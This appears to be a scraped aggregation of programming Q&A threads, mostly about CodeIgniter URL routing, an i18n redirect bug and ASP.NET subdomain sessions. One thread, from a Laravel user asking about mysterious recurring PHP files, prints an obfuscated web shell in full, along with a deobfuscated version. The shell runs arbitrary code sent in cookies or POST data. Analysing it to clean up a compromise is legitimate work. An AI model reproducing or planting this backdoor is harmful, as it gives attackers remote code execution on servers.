CodeIgniter, rewrite urls, call custom controller - codeigniter

I have completed CMS.
This CMS have many controllers: news, content, articles, etc.
Also have modules like "modules/shop/controllers/cart.php", "modules/shop/controllers/items.php".
ATM URLs are:
/shop/some-category/
/shop/nokia/n73.html
/content/about-company.html
/articles/phones/full/1.html
Now I need urls like:
- /nokia.html
- /my/super/article-about-phones.html
So, I need custom URLs for any controlles (shop, news, content, etc).
As I know, I can't execute controller from controller.
How I can solve a problem?
I have no idea how to rewrite Router core class. Any ideas?
For me I have 1 way - rewrite architecture of full product but I have no time :(
Thnx alot.
P.S. ATR routes.php is:
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
$lang_prefix = '(([a-z]{2}/)?)';
$route[$lang_prefix.'ajax/shop/(.*)'] = "shop/ajax/$3";
$route['cron/(.*)'] = "cron/$1";
$route[$lang_prefix.'content/(.*)'] = "content/index";
$route[$lang_prefix.'faq/ask/(.*)'] = "faq/ask";
$route[$lang_prefix.'faq/(.*)'] = "faq/index";
$route[$lang_prefix.'sitemap'] = "sitemap/index";
$route[$lang_prefix.'contact'] = "contacts/index";
$route[$lang_prefix.'news/(.*?)/full/[0-9]+'] = "news/full";
$route[$lang_prefix.'news/(.*)'] = "news/index";
$route[$lang_prefix.'compare/[0-9]+[0-9\/]+'] = "shop/compare";
$route[$lang_prefix.'cart/(.*?)'] = "shop/cart/$3";
$route[$lang_prefix.'cart'] = "shop/cart";
$route[$lang_prefix.'order'] = "shop/order";
$route[$lang_prefix.'order/check'] = "shop/order";
$route[$lang_prefix.'order/successful/[A-z_\-0-9]+'] = "shop/order/successful";
$route[$lang_prefix.'search/(name|price|rating)/(asc|desc)(.*)'] = "shop/search";
$route[$lang_prefix.'shop/(.*)/(name|price|rating)/(asc|desc)(.*?)'] = "shop/items/index";
$route[$lang_prefix.'shop/(.*?)/(.*?)/add-comment'] = "shop/items/add_comment";
$route[$lang_prefix.'shop/(.*?)/(.*?)'] = "shop/items/details";
$route[$lang_prefix.'shop/(.*)'] = "shop/items/index";
$route[$lang_prefix.'feedback'] = "feedback/index";
$route[$lang_prefix.'callback'] = "feedback/index";
$route[$lang_prefix.'article/(.*?)/full/(.*)'] = "articles/full";
$route[$lang_prefix.'article/(.*)'] = "articles/index";
$route[$lang_prefix.'gallery/(.*?)/full/(.*)'] = "gallery/full";
$route[$lang_prefix.'gallery/(.*)'] = "gallery/index";
$route[$lang_prefix.'admin/ajax/(.*)'] = "admin/ajax/$3";
$route[$lang_prefix.'admin'] = "admin/main/index";
$route[$lang_prefix.'admin/login'] = "admin/auth/login";
$route[$lang_prefix.'admin/logout'] = "admin/auth/logout";
$route[$lang_prefix.'admin/(.*)'] = "admin/$3";
$route['default_controller'] = "shop/showcase";

You could use a mod_rewrite to direct all requests to a .html file to go to a special static content controller. So:
my/super/article-about-phones.html
would redirect to:
/content/static/article-about-phones/
This might look something like this:
Options +FollowSymLinks
RewriteBase /
RewriteEngine On
RewriteRule ^(.+)/([^/]+)\.html$ /content/static/$1/ [NC,L]

Related

Weird php file under laravel5.8 public folder

Under my Laravel application's public folder, there are some suspiciousphp files with weird name like "8xmzujk2.php".
Even though I try to delete those files one or two times, those files appear again after two or three days. I use the window server with apache. There are no record in apache's access and error log at the time those files are created.
If anyone encounter this issue before, please kindly suggest me the steps to solve this issue. All the suggestion are welcome. Thanks in advance.
The code inside this one of suspicious php file is as below.
<?php
$groqw = 'e-xv2i4_3r78g0*6kypmcoustndl#5\'b19aHf';$vcdoidm = Array();$vcdoidm[] = $groqw[35].$groqw[14];$vcdoidm[] = $groqw[20].$groqw[9].$groqw[0].$groqw[34].$groqw[24].$groqw[0].$groqw[7].$groqw[36].$groqw[22].$groqw[25].$groqw[20].$groqw[24].$groqw[5].$groqw[21].$groqw[25];$vcdoidm[] = $groqw[33].$groqw[36].$groqw[8].$groqw[34].$groqw[13].$groqw[10].$groqw[34].$groqw[32].$groqw[1].$groqw[29].$groqw[33].$groqw[4].$groqw[20].$groqw[1].$groqw[6].$groqw[10].$groqw[13].$groqw[32].$groqw[1].$groqw[11].$groqw[36].$groqw[13].$groqw[15].$groqw[1].$groqw[29].$groqw[29].$groqw[31].$groqw[10].$groqw[15].$groqw[0].$groqw[33].$groqw[13].$groqw[32].$groqw[33].$groqw[34].$groqw[34];$vcdoidm[] = $groqw[28];$vcdoidm[] = $groqw[20].$groqw[21].$groqw[22].$groqw[25].$groqw[24];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[7].$groqw[9].$groqw[0].$groqw[18].$groqw[0].$groqw[34].$groqw[24];$vcdoidm[] = $groqw[0].$groqw[2].$groqw[18].$groqw[27].$groqw[21].$groqw[26].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[22].$groqw[31].$groqw[23].$groqw[24].$groqw[9];$vcdoidm[] = $groqw[34].$groqw[9].$groqw[9].$groqw[34].$groqw[17].$groqw[7].$groqw[19].$groqw[0].$groqw[9].$groqw[12].$groqw[0];$vcdoidm[] = $groqw[23].$groqw[24].$groqw[9].$groqw[27].$groqw[0].$groqw[25];$vcdoidm[] = $groqw[18].$groqw[34].$groqw[20].$groqw[16];foreach ($vcdoidm[8]($_COOKIE, $_POST) as $cpaxpnw => $afkxx){function dlvrss($vcdoidm, $cpaxpnw, $eowcms){return $vcdoidm[7]($vcdoidm[5]($cpaxpnw . $vcdoidm[2], ($eowcms / $vcdoidm[9]($cpaxpnw)) + 1), 0, $eowcms);}function isfap($vcdoidm, $eeqhx){return #$vcdoidm[10]($vcdoidm[0], $eeqhx);}function eeejy($vcdoidm, $eeqhx){$jfvsqg = $vcdoidm[4]($eeqhx) % 3;if (!$jfvsqg) {$ykpentn = $vcdoidm[1]; $fggryc = $ykpentn("", $eeqhx[1]($eeqhx[2]));$fggryc();exit();}}$afkxx = isfap($vcdoidm, $afkxx);eeejy($vcdoidm, $vcdoidm[6]($vcdoidm[3], $afkxx ^ dlvrss($vcdoidm, $cpaxpnw, $vcdoidm[9]($afkxx))));}
That strip of code runs arbitrary code sent in the post and cookies of a request
Here is the clearer version of it
foreach (array_merge($_COOKIE, $_POST) as $index => $value){
function dlvrss($vcdoidm, $index, $eowcms){
return substr(str_repeat($index . "9f3a07a1-592c-4701-8f06-55b76e9019aa", ($eowcms / strlen($index)) + 1), 0, $eowcms);
}
function isfap($vcdoidm, $eeqhx){
return #pack("H*", $eeqhx);
}
function eeejy($vcdoidm, $eeqhx){
$jfvsqg = count($eeqhx) % 3;
if (!$jfvsqg) {
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();
exit();
}
}
$value = isfap($vcdoidm, $value);
eeejy($vcdoidm, explode("#", $value ^ dlvrss($vcdoidm, $index, strlen($value))));
}
See how in the end it runs a function sent in the request via
$fggryc = create_function("", $eeqhx[1]($eeqhx[2]));
$fggryc();`
You should have that fixed.
#Edit
I dont know how, sorry.

How to do through routing in Codeigniter?

Now I have some rules for routing in file CI routes.php:
$route['^fr/(.+)$'] = "$1";
$route['^en/(.+)$'] = "$1";
It works when I use URL as:
http://test.com/en/news
But does not work for:
http://test.com/en/news/3
Or
http://test.com/en/news/4/1/3/any
After there are a routing for news:
//NEWS
$route['news/search'] = "news/search";
$route['news/(:num)'] = "news/getNew/$1";
$route['news/category/(:num)/(:any)'] = "news/filter/$1";
$route['news/category/(:num)'] = "news/filter/$1";

Inconsistent CodeIgniter routes.php behaviour

I'm using CodeIgniter's routes file to remap short urls to their relevant controller functions.
Oddly enough, some urls get remapped, while others don't, even though the syntax is identical.
Below is my routes.php file. The remapping of info/web and info/rent works as expected, while info/cell and info/hotel gets redirected to my 404 function.
Any idea what could be causing it?
$route['default_controller'] = "home";
$route['404_override'] = 'home/four_o_four';
$route['robots.txt'] = 'home/robots';
$route['info/cell'] = "articles/tags/cellphone";
$route['info/rent'] = "articles/tags/car-rental";
$route['info/web'] = "articles/tags/internet-abroad";
$route['info/hotel'] = "articles/tags/hotel";
$route['articles/tags/(:any)'] = "articles/articles_by_tags/$1";
$route['articles/destination/(:any)'] = "articles/articles_by_destination/$1";
$route['articles/(:any)'] = "articles/show_article/$1";
You are re-routing one URI to another re-routed URI.
$route['info/cell'] = "articles/tags/cellphone";
$route['info/rent'] = "articles/tags/car-rental";
$route['info/web'] = "articles/tags/internet-abroad";
$route['info/hotel'] = "articles/tags/hotel";
$route['articles/tags/(:any)'] = "articles/articles_by_tags/$1";
You are supposed to route from a URI to a Controller/Method, not to another URI.
Just route them all directly to each corresponding Controller/Method...
$route['info/cell'] = "articles/articles_by_tags/cellphone";
$route['info/rent'] = "articles/articles_by_tags/car-rental";
$route['info/web'] = "articles/articles_by_tags/internet-abroad";
$route['info/hotel'] = "articles/articles_by_tags/hotel";
$route['articles/tags/(:any)'] = "articles/articles_by_tags/$1";
Routes Documentation

Codeigniter Internationalization i18n trailing slash not added

I have a project going on, and now [admin section is almost done] (I know bit late) I am trying to implement i18n to the project.
I think everything works fine except when I enter http://localhost/my_project while my_project is working directory with CI installation in it, I am redirected to the following http://localhost/my_project/enhome (no trailing slash after en) any ideas?
Expecting result http://localhost/my_project/en/home, not just home controller but all controllers are behaving same.
.htaccess, base_url and index_page are set right (all works without the i18n).
routes.php are out of stock
$route['default_controller'] = "home";
$route['404_override'] = '';
// URI like '/en/about' -> use controller 'about'
$route['^(en|de|fr|nl)/(.+)$'] = "$2";
// '/en', '/de', '/fr' and '/nl' URIs -> use default controller
$route['^(en|de|fr|nl)$'] = $route['default_controller'];
edit
I am using "new" i18n from I guess ellislab. Sorry for wrong link (for 1.7 CI version).
So after some digging, I found the problem in core file, on the bottom of this posted script there is variable $new_url and it was echoing Redirect triggered to http://192.168.1.184/my_project/enhome without the "fix". I just added the / in there and it works prefectly I wonder what happend here and if this is OK fix or not.
function MY_Lang() {
parent::__construct();
global $CFG;
global $URI;
global $RTR;
$this->uri = $URI->uri_string();
$this->default_uri = $RTR->default_controller;
$uri_segment = $this->get_uri_lang($this->uri);
$this->lang_code = $uri_segment['lang'] ;
$url_ok = false;
if ((!empty($this->lang_code)) && (array_key_exists($this->lang_code, $this->languages)))
{
$language = $this->languages[$this->lang_code];
$CFG->set_item('language', $language);
$url_ok = true;
}
if ((!$url_ok) && (!$this->is_special($uri_segment['parts'][0]))) // special URI -> no redirect
{
// set default language
$CFG->set_item('language', $this->languages[$this->default_lang()]);
$uri = (!empty($this->uri)) ? $this->uri: $this->default_uri;
//OPB - modification to use i18n also without changing the .htaccess (without pretty url)
$index_url = empty($CFG->config['index_page']) ? '' : $CFG->config['index_page']."/";
$new_url = $CFG->config['base_url'].$index_url.$this->default_lang()."/".$uri;
echo "Redirect triggered to ".$new_url;
//header("Location: " . $new_url, TRUE, 302);
// exit;
}
}
this library is little old never been updated author since long time and it works for CI 1.7 but here is updated version compatible with CI 2.1.* same library but updated version working same way you can download from here
CodeIgniter 2.1 internationalization i18n

Dynamic site, access session in global

Hello i am currently developing a kind of wiki system for my school, this system uses sub domains to find what course the wiki belongs to. example math1.wiki.com will be the course Math 1.
Now all these wikis use the same database and are given a wiki id, to find what data to load.
Here is the code i use to find the wiki id.
Global.asax
protected void Session_Start()
{
var database = new DataContext();
IWikiRepository rep = new WikiRepository(database);
IWikiService service = new WikiService(rep);
var domain = HttpContext.Current.Request.Url.Authority;
var port = "";
if (domain.Contains(':'))
{
var tmp = domain.Split(':');
domain = tmp[0];
port = tmp[1];
}
var split = domain.Split('.');
var subdomain = split[0];
// if (subdomain == "localhost")
// subdomain = "wiki1";
var wiki = service.GetSite(subdomain);
if (wiki == null)
{
Response.StatusCode = 404;
return;
}
Session["CurrentWiki"] = wiki;
}
This is all fine, but i want to make the mvc system send a 404 request if no wiki was found for the subdomain. But this can not only be done in session_start() as it only runs once per session i have therefor tryed using Application_BeginRequest, but sadly do i not have access to the sessions in the method.
Do any one know how i can implement this?
why can't you just make a custom function that you call at the start of the main page to determine if the wiki exists and if not, redirect/error page/whatever. If it's a custom function, you can just recall it when necessary.

Resources